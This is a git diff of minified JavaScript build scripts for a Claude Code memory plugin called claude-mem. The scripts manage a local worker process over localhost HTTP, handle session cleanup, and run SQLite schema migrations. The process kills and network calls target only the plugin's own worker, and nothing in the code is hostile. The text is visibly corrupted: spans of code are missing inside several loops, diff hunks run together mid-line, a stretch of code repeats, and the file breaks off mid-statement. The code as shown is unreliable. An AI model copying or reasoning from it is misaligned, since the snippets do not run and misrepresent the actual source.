this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=T(l,"settings.json"),e=u.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(u.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!R(h))return null;let t=at(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){H(l,{recursive:!0}),ct(h,JSON.stringify(t,null,2))}static removePidFile(){try{R(h)&&ut(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-nsetTimeout(c,200))}return{success:!1,error:o?`Worker failed to start on Windows (readiness check timed out after ${i}ms) +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:"Process died during startup"};try{if((await fetch(`http://127.0.0.1:${e}/api/readiness`,{signal:AbortSignal.timeout(1e3)})).ok)return{success:!0,pid:t}}catch{}await new Promise(c=>setTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) Troubleshooting: 1. Check Task Manager for zombie 'bun.exe' or 'node.exe' processes 2. Verify port ${e} is not in use: netstat -ano | findstr ${e} 3. Check worker logs in ~/.claude-mem/logs/ 4. See GitHub issues: #363, #367, #371, #373 -5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return h(B,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,o=Math.floor(n/1e3),i=Math.floor(o/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${o%60}s`:`${o}s`}};function k(s={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=s,o=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${o}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return T(K,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function y(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely @@ -25,4 +25,4 @@ Troubleshooting: If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var j=D.join(St(),".claude","plugins","marketplaces","thedotmack"),G=L(_.HEALTH_CHECK),w=null;function d(){if(w!==null)return w;let s=D.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(s);return w=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),w}async function I(){try{let s=d();return(await fetch(`http://127.0.0.1:${s}/api/readiness`,{signal:AbortSignal.timeout(G)})).ok}catch(s){return u.debug("SYSTEM","Worker readiness check failed",{error:s instanceof Error?s.message:String(s),errorType:s?.constructor?.name}),!1}}function At(){try{let s=D.join(j,"package.json");return JSON.parse(ht(s,"utf-8")).version}catch(s){return u.debug("SYSTEM","Failed to read plugin version",{error:s instanceof Error?s.message:String(s)}),null}}async function wt(){try{let s=d(),t=await fetch(`http://127.0.0.1:${s}/api/version`,{signal:AbortSignal.timeout(G)});return t.ok?(await t.json()).version:null}catch(s){return u.debug("SYSTEM","Failed to get worker version",{error:s instanceof Error?s.message:String(s)}),null}}async function K(){let s=At(),t=await wt();!s||!t||s!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:s,workerVersion:t}),await new Promise(e=>setTimeout(e,L(_.PRE_RESTART_SETTLE_DELAY))),await O.restart(d()),await new Promise(e=>setTimeout(e,1e3)),await I()||u.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:s,runningVersion:t,port:d()}))}async function Dt(){let s=l.get("CLAUDE_MEM_DATA_DIR"),t=D.join(s,".pm2-migrated");if(Ot(s,{recursive:!0}),!Tt(t))try{_t("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),V(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked")}catch{V(t,new Date().toISOString(),"utf-8")}let e=d(),r=await O.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:j}),r.success}async function Y(){if(await I()){await K();return}if(!await Dt()){let e=d();throw new Error(k({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await I()){await K();return}let t=d();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(k({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}async function X(s){if(await Y(),!s)throw new Error("cleanup-hook requires input from Claude Code");let{session_id:t,reason:e}=s,r=d();try{(await fetch(`http://127.0.0.1:${r}/api/sessions/complete`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,reason:e}),signal:AbortSignal.timeout(_.DEFAULT)})).ok||console.error("[cleanup-hook] Session not found or already cleaned up")}catch(n){console.error("[cleanup-hook] Failed to notify worker of session end:",n.message)}console.log('{"continue": true, "suppressOutput": true}'),process.exit(0)}if(v.isTTY)X(void 0);else{let s="";v.on("data",t=>s+=t),v.on("end",async()=>{let t=s?JSON.parse(s):void 0;await X(t)})} +${a}`),a}var j=A.join(dt(),".claude","plugins","marketplaces","thedotmack"),B=L(_.HEALTH_CHECK),D=null;function d(){if(D!==null)return D;let o=A.join(u.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=u.loadFromFile(o);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function I(){let o=d();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(B)})).ok}function Tt(){let o=A.join(j,"package.json");return JSON.parse(_t(o,"utf-8")).version}async function Ot(){let o=d(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(B)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function G(){let o=Tt(),t=await Ot();if(o!==t&&(g.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,L(_.PRE_RESTART_SETTLE_DELAY))),await O.restart(d()),await new Promise(e=>setTimeout(e,1e3)),!await I()))throw new Error(`Worker failed to restart after version mismatch. Expected ${o}, was running ${t}`)}async function wt(){let o=u.get("CLAUDE_MEM_DATA_DIR"),t=A.join(o,".pm2-migrated");ht(o,{recursive:!0}),Et(t)||(mt("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),St(t,new Date().toISOString(),"utf-8"),g.debug("SYSTEM","PM2 cleanup completed and marked"));let e=d(),r=await O.start(e);return r.success||g.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:j}),r.success}async function V(){let o=!1;try{o=await I()}catch{o=!1}if(o){await G();return}if(!await wt()){let r=d();throw new Error(y({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await I()){await G();return}}catch{}}let e=d();throw g.error("SYSTEM","Worker started but not responding to health checks"),new Error(y({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}async function X(o){if(await V(),!o)throw new Error("cleanup-hook requires input from Claude Code");let{session_id:t,reason:e}=o,r=d(),n=await fetch(`http://127.0.0.1:${r}/api/sessions/complete`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,reason:e}),signal:AbortSignal.timeout(_.DEFAULT)});if(!n.ok)throw new Error(`Session cleanup failed: ${n.status}`);console.log('{"continue": true, "suppressOutput": true}'),process.exit(0)}if(v.isTTY)X(void 0);else{let o="";v.on("data",t=>o+=t),v.on("end",async()=>{let t;try{t=o?JSON.parse(o):void 0}catch(e){throw new Error(`Failed to parse hook input: ${e instanceof Error?e.message:String(e)}`)}await X(t)})} diff --git a/plugin/scripts/context-generator.cjs b/plugin/scripts/context-generator.cjs index 45506f13..58a244a5 100644 --- a/plugin/scripts/context-generator.cjs +++ b/plugin/scripts/context-generator.cjs @@ -1,7 +1,7 @@ -"use strict";var Pe=Object.create;var V=Object.defineProperty;var Xe=Object.getOwnPropertyDescriptor;var je=Object.getOwnPropertyNames;var We=Object.getPrototypeOf,He=Object.prototype.hasOwnProperty;var Be=(a,e)=>{for(var s in e)V(a,s,{get:e[s],enumerable:!0})},me=(a,e,s,t)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of je(e))!He.call(a,n)&&n!==s&&V(a,n,{get:()=>e[n],enumerable:!(t=Xe(e,n))||t.enumerable});return a};var se=(a,e,s)=>(s=a!=null?Pe(We(a)):{},me(e||!a||!a.__esModule?V(s,"default",{value:a,enumerable:!0}):s,a)),Ge=a=>me(V({},"__esModule",{value:!0}),a);var ss={};Be(ss,{generateContext:()=>es});module.exports=Ge(ss);var J=se(require("path"),1),Q=require("os"),j=require("fs");var Ie=require("bun:sqlite");var R=require("path"),fe=require("os"),Re=require("fs");var Oe=require("url");var X=require("fs"),Se=require("path"),be=require("os");var te=["bugfix","feature","refactor","discovery","decision","change"],re=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"],Ee={bugfix:"\u{1F534}",feature:"\u{1F7E3}",refactor:"\u{1F504}",change:"\u2705",discovery:"\u{1F535}",decision:"\u2696\uFE0F","session-request":"\u{1F3AF}"},Te={discovery:"\u{1F50D}",change:"\u{1F6E0}\uFE0F",feature:"\u{1F6E0}\uFE0F",bugfix:"\u{1F6E0}\uFE0F",refactor:"\u{1F6E0}\uFE0F",decision:"\u2696\uFE0F"},ge=te.join(","),he=re.join(",");var ne=(i=>(i[i.DEBUG=0]="DEBUG",i[i.INFO=1]="INFO",i[i.WARN=2]="WARN",i[i.ERROR=3]="ERROR",i[i.SILENT=4]="SILENT",i))(ne||{}),oe=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=k.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=ne[e]??1}return this.level}correlationId(e,s){return`obs-${e}-${s}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} -${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Object.keys(e);return s.length===0?"{}":s.length<=3?JSON.stringify(e):`{${s.length} keys: ${s.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,s){if(!s)return e;try{let t=typeof s=="string"?JSON.parse(s):s;if(e==="Bash"&&t.command)return`${e}(${t.command})`;if(t.file_path)return`${e}(${t.file_path})`;if(t.notebook_path)return`${e}(${t.notebook_path})`;if(e==="Glob"&&t.pattern)return`${e}(${t.pattern})`;if(e==="Grep"&&t.pattern)return`${e}(${t.pattern})`;if(t.url)return`${e}(${t.url})`;if(t.query)return`${e}(${t.query})`;if(e==="Task"){if(t.subagent_type)return`${e}(${t.subagent_type})`;if(t.description)return`${e}(${t.description})`}return e==="Skill"&&t.skill?`${e}(${t.skill})`:e==="LSP"&&t.operation?`${e}(${t.operation})`:e}catch{return e}}formatTimestamp(e){let s=e.getFullYear(),t=String(e.getMonth()+1).padStart(2,"0"),n=String(e.getDate()).padStart(2,"0"),i=String(e.getHours()).padStart(2,"0"),d=String(e.getMinutes()).padStart(2,"0"),c=String(e.getSeconds()).padStart(2,"0"),_=String(e.getMilliseconds()).padStart(3,"0");return`${s}-${t}-${n} ${i}:${d}:${c}.${_}`}log(e,s,t,n,i){if(e0&&(E=` {${Object.entries(r).map(([O,f])=>`${O}=${f}`).join(", ")}}`)}let b=`[${d}] [${c}] [${_}] ${u}${t}${E}${l}`;e===3?console.error(b):console.log(b)}debug(e,s,t,n){this.log(0,e,s,t,n)}info(e,s,t,n){this.log(1,e,s,t,n)}warn(e,s,t,n){this.log(2,e,s,t,n)}error(e,s,t,n){this.log(3,e,s,t,n)}dataIn(e,s,t,n){this.info(e,`\u2192 ${s}`,t,n)}dataOut(e,s,t,n){this.info(e,`\u2190 ${s}`,t,n)}success(e,s,t,n){this.info(e,`\u2713 ${s}`,t,n)}failure(e,s,t,n){this.error(e,`\u2717 ${s}`,t,n)}timing(e,s,t,n){this.info(e,`\u23F1 ${s}`,n,{duration:`${t}ms`})}happyPathError(e,s,t,n,i=""){let u=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),l=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",E={...t,location:l};return this.warn(e,`[HAPPY-PATH] ${s}`,E,n),i}},A=new oe;var k=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,Se.join)((0,be.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:ge,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:he,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let s=this.get(e);return parseInt(s,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,X.existsSync)(e))return this.getAllDefaults();let s=(0,X.readFileSync)(e,"utf-8"),t=JSON.parse(s),n=t;if(t.env&&typeof t.env=="object"){n=t.env;try{(0,X.writeFileSync)(e,JSON.stringify(n,null,2),"utf-8"),A.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(d){A.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},d)}}let i={...this.DEFAULTS};for(let d of Object.keys(this.DEFAULTS))n[d]!==void 0&&(i[d]=n[d]);return i}catch(s){return A.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},s),this.getAllDefaults()}}};var Ve={};function Ye(){return typeof __dirname<"u"?__dirname:(0,R.dirname)((0,Oe.fileURLToPath)(Ve.url))}var ms=Ye(),v=k.get("CLAUDE_MEM_DATA_DIR"),ie=process.env.CLAUDE_CONFIG_DIR||(0,R.join)((0,fe.homedir)(),".claude"),Es=(0,R.join)(v,"archives"),Ts=(0,R.join)(v,"logs"),gs=(0,R.join)(v,"trash"),hs=(0,R.join)(v,"backups"),Ss=(0,R.join)(v,"settings.json"),Ne=(0,R.join)(v,"claude-mem.db"),bs=(0,R.join)(v,"vector-db"),fs=(0,R.join)(ie,"settings.json"),Rs=(0,R.join)(ie,"commands"),Os=(0,R.join)(ie,"CLAUDE.md");function Ae(a){(0,Re.mkdirSync)(a,{recursive:!0})}var K=class{db;constructor(){Ae(v),this.db=new Ie.Database(Ne),this.db.run("PRAGMA journal_mode = WAL"),this.db.run("PRAGMA synchronous = NORMAL"),this.db.run("PRAGMA foreign_keys = ON"),this.initializeSchema(),this.ensureWorkerPortColumn(),this.ensurePromptTrackingColumns(),this.removeSessionSummariesUniqueConstraint(),this.addObservationHierarchicalFields(),this.makeObservationsTextNullable(),this.createUserPromptsTable(),this.ensureDiscoveryTokensColumn(),this.createPendingMessagesTable()}initializeSchema(){try{this.db.run(` +"use strict";var je=Object.create;var J=Object.defineProperty;var We=Object.getOwnPropertyDescriptor;var He=Object.getOwnPropertyNames;var Ge=Object.getPrototypeOf,Be=Object.prototype.hasOwnProperty;var Ye=(d,e)=>{for(var s in e)J(d,s,{get:e[s],enumerable:!0})},ge=(d,e,s,t)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of He(e))!Be.call(d,n)&&n!==s&&J(d,n,{get:()=>e[n],enumerable:!(t=We(e,n))||t.enumerable});return d};var ie=(d,e,s)=>(s=d!=null?je(Ge(d)):{},ge(e||!d||!d.__esModule?J(s,"default",{value:d,enumerable:!0}):s,d)),Ve=d=>ge(J({},"__esModule",{value:!0}),d);var ns={};Ye(ns,{generateContext:()=>rs});module.exports=Ve(ns);var ee=ie(require("path"),1),se=require("os"),H=require("fs");var Ce=require("bun:sqlite");var f=require("path"),Re=require("os"),Oe=require("fs");var Ne=require("url");var j=require("fs"),be=require("path"),fe=require("os");var he="bugfix,feature,refactor,discovery,decision,change",Se="how-it-works,why-it-exists,what-changed,problem-solution,gotcha,pattern,trade-off";var oe=(i=>(i[i.DEBUG=0]="DEBUG",i[i.INFO=1]="INFO",i[i.WARN=2]="WARN",i[i.ERROR=3]="ERROR",i[i.SILENT=4]="SILENT",i))(oe||{}),ae=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=$.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=oe[e]??1}return this.level}correlationId(e,s){return`obs-${e}-${s}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} +${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Object.keys(e);return s.length===0?"{}":s.length<=3?JSON.stringify(e):`{${s.length} keys: ${s.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,s){if(!s)return e;let t=typeof s=="string"?JSON.parse(s):s;if(e==="Bash"&&t.command)return`${e}(${t.command})`;if(t.file_path)return`${e}(${t.file_path})`;if(t.notebook_path)return`${e}(${t.notebook_path})`;if(e==="Glob"&&t.pattern)return`${e}(${t.pattern})`;if(e==="Grep"&&t.pattern)return`${e}(${t.pattern})`;if(t.url)return`${e}(${t.url})`;if(t.query)return`${e}(${t.query})`;if(e==="Task"){if(t.subagent_type)return`${e}(${t.subagent_type})`;if(t.description)return`${e}(${t.description})`}return e==="Skill"&&t.skill?`${e}(${t.skill})`:e==="LSP"&&t.operation?`${e}(${t.operation})`:e}formatTimestamp(e){let s=e.getFullYear(),t=String(e.getMonth()+1).padStart(2,"0"),n=String(e.getDate()).padStart(2,"0"),i=String(e.getHours()).padStart(2,"0"),a=String(e.getMinutes()).padStart(2,"0"),c=String(e.getSeconds()).padStart(2,"0"),p=String(e.getMilliseconds()).padStart(3,"0");return`${s}-${t}-${n} ${i}:${a}:${c}.${p}`}log(e,s,t,n,i){if(e0&&(E=` {${Object.entries(r).map(([O,D])=>`${O}=${D}`).join(", ")}}`)}let R=`[${a}] [${c}] [${p}] ${u}${t}${E}${l}`;e===3?console.error(R):console.log(R)}debug(e,s,t,n){this.log(0,e,s,t,n)}info(e,s,t,n){this.log(1,e,s,t,n)}warn(e,s,t,n){this.log(2,e,s,t,n)}error(e,s,t,n){this.log(3,e,s,t,n)}dataIn(e,s,t,n){this.info(e,`\u2192 ${s}`,t,n)}dataOut(e,s,t,n){this.info(e,`\u2190 ${s}`,t,n)}success(e,s,t,n){this.info(e,`\u2713 ${s}`,t,n)}failure(e,s,t,n){this.error(e,`\u2717 ${s}`,t,n)}timing(e,s,t,n){this.info(e,`\u23F1 ${s}`,n,{duration:`${t}ms`})}happyPathError(e,s,t,n,i=""){let u=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),l=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",E={...t,location:l};return this.warn(e,`[HAPPY-PATH] ${s}`,E,n),i}},h=new ae;var $=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,be.join)((0,fe.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_MODE:"code",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:he,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:Se,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let s=this.get(e);return parseInt(s,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,j.existsSync)(e))return this.getAllDefaults();let s=(0,j.readFileSync)(e,"utf-8"),t=JSON.parse(s),n=t;if(t.env&&typeof t.env=="object"){n=t.env;try{(0,j.writeFileSync)(e,JSON.stringify(n,null,2),"utf-8"),h.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(a){h.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},a)}}let i={...this.DEFAULTS};for(let a of Object.keys(this.DEFAULTS))n[a]!==void 0&&(i[a]=n[a]);return i}catch(s){return h.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},s),this.getAllDefaults()}}};var Je={};function Ke(){return typeof __dirname<"u"?__dirname:(0,f.dirname)((0,Ne.fileURLToPath)(Je.url))}var qe=Ke(),v=$.get("CLAUDE_MEM_DATA_DIR"),de=process.env.CLAUDE_CONFIG_DIR||(0,f.join)((0,Re.homedir)(),".claude"),gs=(0,f.join)(v,"archives"),hs=(0,f.join)(v,"logs"),Ss=(0,f.join)(v,"trash"),bs=(0,f.join)(v,"backups"),fs=(0,f.join)(v,"modes"),Rs=(0,f.join)(v,"settings.json"),Ae=(0,f.join)(v,"claude-mem.db"),Os=(0,f.join)(v,"vector-db"),Ns=(0,f.join)(de,"settings.json"),As=(0,f.join)(de,"commands"),Is=(0,f.join)(de,"CLAUDE.md");function Ie(d){(0,Oe.mkdirSync)(d,{recursive:!0})}function Le(){return(0,f.join)(qe,"..")}var Q=class{db;constructor(){Ie(v),this.db=new Ce.Database(Ae),this.db.run("PRAGMA journal_mode = WAL"),this.db.run("PRAGMA synchronous = NORMAL"),this.db.run("PRAGMA foreign_keys = ON"),this.initializeSchema(),this.ensureWorkerPortColumn(),this.ensurePromptTrackingColumns(),this.removeSessionSummariesUniqueConstraint(),this.addObservationHierarchicalFields(),this.makeObservationsTextNullable(),this.createUserPromptsTable(),this.ensureDiscoveryTokensColumn(),this.createPendingMessagesTable()}initializeSchema(){try{this.db.run(` CREATE TABLE IF NOT EXISTS schema_versions ( id INTEGER PRIMARY KEY, version INTEGER UNIQUE NOT NULL, @@ -63,111 +63,111 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje CREATE INDEX IF NOT EXISTS idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); CREATE INDEX IF NOT EXISTS idx_session_summaries_project ON session_summaries(project); CREATE INDEX IF NOT EXISTS idx_session_summaries_created ON session_summaries(created_at_epoch DESC); - `),this.db.prepare("INSERT INTO schema_versions (version, applied_at) VALUES (?, ?)").run(4,new Date().toISOString()),console.log("[SessionStore] Migration004 applied successfully"))}catch(e){throw console.error("[SessionStore] Schema initialization error:",e.message),e}}ensureWorkerPortColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(5))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(n=>n.name==="worker_port")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER"),console.log("[SessionStore] Added worker_port column to sdk_sessions table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(5,new Date().toISOString())}catch(e){console.error("[SessionStore] Migration error:",e.message)}}ensurePromptTrackingColumns(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(6))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(_=>_.name==="prompt_counter")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0"),console.log("[SessionStore] Added prompt_counter column to sdk_sessions table")),this.db.query("PRAGMA table_info(observations)").all().some(_=>_.name==="prompt_number")||(this.db.run("ALTER TABLE observations ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(_=>_.name==="prompt_number")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(6,new Date().toISOString())}catch(e){console.error("[SessionStore] Prompt tracking migration error:",e.message)}}removeSessionSummariesUniqueConstraint(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(7))return;if(!this.db.query("PRAGMA index_list(session_summaries)").all().some(n=>n.unique===1)){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString());return}console.log("[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE session_summaries_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - request TEXT, - investigated TEXT, - learned TEXT, - completed TEXT, - next_steps TEXT, - files_read TEXT, - files_edited TEXT, - notes TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `),this.db.run(` - INSERT INTO session_summaries_new - SELECT id, sdk_session_id, project, request, investigated, learned, - completed, next_steps, files_read, files_edited, notes, - prompt_number, created_at, created_at_epoch - FROM session_summaries - `),this.db.run("DROP TABLE session_summaries"),this.db.run("ALTER TABLE session_summaries_new RENAME TO session_summaries"),this.db.run(` - CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); - CREATE INDEX idx_session_summaries_project ON session_summaries(project); - CREATE INDEX 